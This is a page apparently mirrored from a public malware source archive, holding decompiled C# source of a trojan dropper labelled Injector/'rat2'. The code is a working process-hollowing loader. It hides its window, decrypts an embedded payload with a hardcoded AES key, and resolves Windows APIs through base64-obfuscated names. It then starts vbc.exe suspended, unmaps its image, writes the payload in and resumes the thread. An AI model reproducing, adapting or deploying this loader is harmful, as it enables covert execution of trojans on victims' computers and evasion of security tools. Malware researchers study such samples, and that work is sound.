mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
237 lines
11 KiB
C#
237 lines
11 KiB
C#
// Decompiled with JetBrains decompiler
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// Type: Program.Main
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// Assembly: rat2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
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// MVID: 34AA2F6B-B491-449A-8142-3C7100CB7507
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Injector.mhc-b990926a4bd477f047390ee34a32b36eceff630b2274232e6245f16ff668165c.exe
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using Microsoft.VisualBasic.CompilerServices;
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using System;
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using System.ComponentModel;
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using System.Diagnostics;
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using System.Drawing;
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using System.Runtime.CompilerServices;
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using System.Runtime.InteropServices;
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using System.Security.Cryptography;
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using System.Text;
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using System.Windows.Forms;
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namespace Program
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{
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public class Main : Form
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{
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private IContainer Components;
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private StringBuilder pGćumcXUežkYzlIo;
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[STAThread]
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public static void Main() => Application.Run((Form) new Program.Main());
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public Main()
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{
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this.Load += new EventHandler(this.Main_Load);
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this.pGćumcXUežkYzlIo = new StringBuilder();
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Application.EnableVisualStyles();
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this.InitializeComponent();
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this.SuspendLayout();
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this.AutoScaleDimensions = new SizeF(6f, 13f);
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this.AutoScaleMode = AutoScaleMode.Font;
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this.ClientSize = new Size(1, 1);
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this.Opacity = 0.0;
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this.ShowInTaskbar = false;
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this.Name = nameof (Main);
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this.Text = nameof (Main);
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this.ResumeLayout(false);
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this.PerformLayout();
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}
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protected override void Dispose(bool Disposing)
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{
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if (Disposing && this.Components != null)
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this.Components.Dispose();
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base.Dispose(Disposing);
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}
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[DebuggerStepThrough]
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private void InitializeComponent()
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{
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}
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public byte[] yIqmESvzfIYlZljžguRŽ(byte[] mZqyPŠJVVTlqŽVžaY)
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{
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using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
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{
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rijndaelManaged.IV = new byte[16]
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{
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(byte) 48,
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(byte) 102,
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(byte) 215,
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(byte) 119,
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(byte) 4,
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(byte) 193,
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(byte) 141,
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(byte) 50,
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(byte) 10,
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(byte) 3,
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(byte) 189,
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(byte) 220,
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(byte) 157,
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(byte) 222,
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(byte) 243,
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(byte) 22
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};
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rijndaelManaged.Key = new byte[16]
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{
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(byte) 22,
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(byte) 243,
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(byte) 222,
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(byte) 157,
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(byte) 220,
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(byte) 189,
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(byte) 3,
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(byte) 10,
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(byte) 50,
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(byte) 141,
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(byte) 193,
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(byte) 4,
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(byte) 119,
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(byte) 215,
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(byte) 102,
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(byte) 48
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};
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return rijndaelManaged.CreateDecryptor().TransformFinalBlock(mZqyPŠJVVTlqŽVžaY, 0, mZqyPŠJVVTlqŽVžaY.Length);
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}
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}
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[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
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public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name);
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[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
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public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name);
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public T ĐaAavDBJxBRšgEvV<T>(string name, string method) => (T) Marshal.GetDelegateForFunctionPointer(Program.Main.GetProcAddress(Program.Main.LoadLibraryA(ref name), ref method), typeof (T));
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public bool FQžsPĐqjNŠJćBPUP(byte[] đhXĐtHKžsJBFqPsNđA, string zmkESwRqWSylPWđW)
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{
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Program.Main.liLšaggJeUASaožILY lšaggJeUaSaožIly = this.ĐaAavDBJxBRšgEvV<Program.Main.liLšaggJeUASaožILY>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E=")));
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Program.Main.kjČNLnGZcUUkhFicLqtt lnGzcUukhFicLqtt = this.ĐaAavDBJxBRšgEvV<Program.Main.kjČNLnGZcUUkhFicLqtt>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA==")));
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Program.Main.gCGAiXSyNQČknfhJj cgAiXsyNqČknfhJj = this.ĐaAavDBJxBRšgEvV<Program.Main.gCGAiXSyNQČknfhJj>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk=")));
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Program.Main.ČAQFKKOQEZldODwEZZ čaqfkkoqeZldOdwEzz = this.ĐaAavDBJxBRšgEvV<Program.Main.ČAQFKKOQEZldODwEZZ>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg=")));
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Program.Main.OšHaSOEWWpQrhUwndU haSoewWpQrhUwndU = this.ĐaAavDBJxBRšgEvV<Program.Main.OšHaSOEWWpQrhUwndU>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5")));
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Program.Main.uXpYUtBjDŽkjGcžxrmi yutBjDžkjGcžxrmi = this.ĐaAavDBJxBRšgEvV<Program.Main.uXpYUtBjDŽkjGcžxrmi>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA==")));
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Program.Main.lUajoIDAlCČŽBwLh lUajoIdAlCčžBwLh = this.ĐaAavDBJxBRšgEvV<Program.Main.lUajoIDAlCČŽBwLh>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk")));
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Program.Main.kĐvNlEwJSwŽNGČeZĆĐnš nlEwJswŽngČeZćĐnš = this.ĐaAavDBJxBRšgEvV<Program.Main.kĐvNlEwJSwŽNGČeZĆĐnš>(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24=")));
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bool flag;
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try
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{
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IntPtr zero1 = IntPtr.Zero;
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IntPtr[] WeWlVVuInjwBčWačmrX = new IntPtr[4];
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byte[] cdybCCzžĆOxĐDtžčG = new byte[68];
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int int32_1 = BitConverter.ToInt32(đhXĐtHKžsJBFqPsNđA, 60);
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int int16 = (int) BitConverter.ToInt16(đhXĐtHKžsJBFqPsNđA, checked (int32_1 + 6));
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IntPtr WJqImihČĐkeĆaIFh = new IntPtr(BitConverter.ToInt32(đhXĐtHKžsJBFqPsNđA, checked (int32_1 + 84)));
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if (lšaggJeUaSaožIly((string) null, new StringBuilder(zmkESwRqWSylPWđW), zero1, zero1, false, 4, zero1, (string) null, cdybCCzžĆOxĐDtžčG, WeWlVVuInjwBčWačmrX))
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{
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uint[] numArray1 = new uint[179];
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numArray1[0] = 65538U;
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if (lnGzcUukhFicLqtt(WeWlVVuInjwBčWačmrX[1], numArray1))
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{
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IntPtr ŠćwzLerTgđČePĆPzfQKS = new IntPtr(checked ((long) numArray1[41] + 8L));
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IntPtr zero2 = IntPtr.Zero;
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IntPtr šbovAwAoREHLIrŽžĆBkO = new IntPtr(4);
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IntPtr zero3 = IntPtr.Zero;
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if (cgAiXsyNqČknfhJj(WeWlVVuInjwBčWačmrX[0], ŠćwzLerTgđČePĆPzfQKS, ref zero2, (int) šbovAwAoREHLIrŽžĆBkO, ref zero3) && nlEwJswŽngČeZćĐnš(WeWlVVuInjwBčWačmrX[0], zero2) == 0U)
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{
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IntPtr num1 = new IntPtr(BitConverter.ToInt32(đhXĐtHKžsJBFqPsNđA, checked (int32_1 + 52)));
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IntPtr num2 = new IntPtr(BitConverter.ToInt32(đhXĐtHKžsJBFqPsNđA, checked (int32_1 + 80)));
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IntPtr WZEfUoIkLLđPhxozF = čaqfkkoqeZldOdwEzz(WeWlVVuInjwBčWačmrX[0], num1, num2, 12288, 64);
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int int32_2 = WZEfUoIkLLđPhxozF.ToInt32();
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int QjSXčShRĐfuaYjđŽĆlF;
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int num3 = haSoewWpQrhUwndU(WeWlVVuInjwBčWačmrX[0], WZEfUoIkLLđPhxozF, đhXĐtHKžsJBFqPsNđA, checked ((uint) (int) WJqImihČĐkeĆaIFh), QjSXčShRĐfuaYjđŽĆlF) ? 1 : 0;
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int num4 = checked (int16 - 1);
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int num5 = 0;
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while (num5 <= num4)
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{
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int[] dst = new int[10];
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Buffer.BlockCopy((Array) đhXĐtHKžsJBFqPsNđA, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40);
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byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)];
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Buffer.BlockCopy((Array) đhXĐtHKžsJBFqPsNđA, dst[5], (Array) numArray2, 0, numArray2.Length);
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num2 = new IntPtr(checked (int32_2 + dst[3]));
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num1 = new IntPtr(numArray2.Length);
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int num6 = haSoewWpQrhUwndU(WeWlVVuInjwBčWačmrX[0], num2, numArray2, checked ((uint) (int) num1), QjSXčShRĐfuaYjđŽĆlF) ? 1 : 0;
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checked { ++num5; }
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}
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num2 = new IntPtr(checked ((long) numArray1[41] + 8L));
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num1 = new IntPtr(4);
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int num7 = haSoewWpQrhUwndU(WeWlVVuInjwBčWačmrX[0], num2, BitConverter.GetBytes(WZEfUoIkLLđPhxozF.ToInt32()), checked ((uint) (int) num1), QjSXčShRĐfuaYjđŽĆlF) ? 1 : 0;
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numArray1[44] = checked ((uint) (WZEfUoIkLLđPhxozF.ToInt32() + BitConverter.ToInt32(đhXĐtHKžsJBFqPsNđA, int32_1 + 40)));
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int num8 = yutBjDžkjGcžxrmi(WeWlVVuInjwBčWačmrX[1], numArray1) ? 1 : 0;
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}
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}
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int num = (int) lUajoIdAlCčžBwLh(WeWlVVuInjwBčWačmrX[1]);
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}
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}
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catch (Exception ex)
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{
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ProjectData.SetProjectError(ex);
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flag = false;
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ProjectData.ClearProjectError();
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goto label_11;
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}
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flag = true;
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label_11:
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return flag;
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}
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private void Main_Load(object sender, EventArgs e)
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{
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RuntimeHelpers.GetObjectValue(My.Resources.Resources.ResourceManager.GetObject("glavni"));
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this.FQžsPĐqjNŠJćBPUP(this.yIqmESvzfIYlZljžguRŽ(My.Resources.Resources.glavni), Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29ya1x2Mi4wLjUwNzI3XHZiYy5leGU=")));
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this.Close();
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}
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[return: MarshalAs(UnmanagedType.Bool)]
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public delegate bool liLšaggJeUASaožILY(
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string ioTwšhmćJoWžbkJqW,
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StringBuilder hvKuTwugaluJwđwšUt,
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IntPtr zšCQIzOwuVŠqoxzuh,
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IntPtr wEEYFXčuqidđjPĆJcss,
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[MarshalAs(UnmanagedType.Bool)] bool oqCqqsĐlVsCtŽRZQPđgw,
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int WtWŠXPqjdBŽČdbqUE,
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IntPtr nćNpOđkbĆtžolrfPUXyg,
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string ĐĐVUaćgduTYukGHj,
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byte[] cdybCCzžĆOxĐDtžčG,
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IntPtr[] WeWlVVuInjwBčWačmrX);
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public delegate bool OšHaSOEWWpQrhUwndU(
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IntPtr WXvpCIYlSnxqŠšGčxmc,
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IntPtr WZEfUoIkLLđPhxozF,
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byte[] OibqgŠyakgŽtxtjyoCa,
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uint WJqImihČĐkeĆaIFh,
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int QjSXčShRĐfuaYjđŽĆlF);
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[return: MarshalAs(UnmanagedType.Bool)]
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public delegate bool gCGAiXSyNQČknfhJj(
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IntPtr XXmžežćIđčknFBTmz,
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IntPtr ŠćwzLerTgđČePĆPzfQKS,
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ref IntPtr ĐCapyPtĆčxqNHYJs,
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int šbovAwAoREHLIrŽžĆBkO,
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ref IntPtr ssNDtKĆeDHSŽQdgĆĆHYn);
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public delegate IntPtr ČAQFKKOQEZldODwEZZ(
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IntPtr XiyfXnIAgzKšRBkGc,
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IntPtr fGŽFCFRemšpAFpŠGNxD,
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IntPtr BNJECŠužcOkyobPFU,
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int šELABbĆxlUnĆBFBe,
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int fepAkĆsZDAČČsmFćAčh);
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public delegate uint kĐvNlEwJSwŽNGČeZĆĐnš(IntPtr arcaBZpWđčiagŠblvj, IntPtr ćYšwdIXERćqmzŽTq);
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public delegate uint lUajoIDAlCČŽBwLh(IntPtr GilVZdjJzXQŽAHzp);
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[return: MarshalAs(UnmanagedType.Bool)]
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public delegate bool kjČNLnGZcUUkhFicLqtt(IntPtr LČSyPTYPčQĐScejlFđa, uint[] dhbJđČxSgUTpgćeKpi);
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[return: MarshalAs(UnmanagedType.Bool)]
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public delegate bool uXpYUtBjDŽkjGcžxrmi(IntPtr HlpzŽĆXeiŽybNpdpYW, uint[] ĆAbxvlKAsNUEčTpqP);
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}
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}
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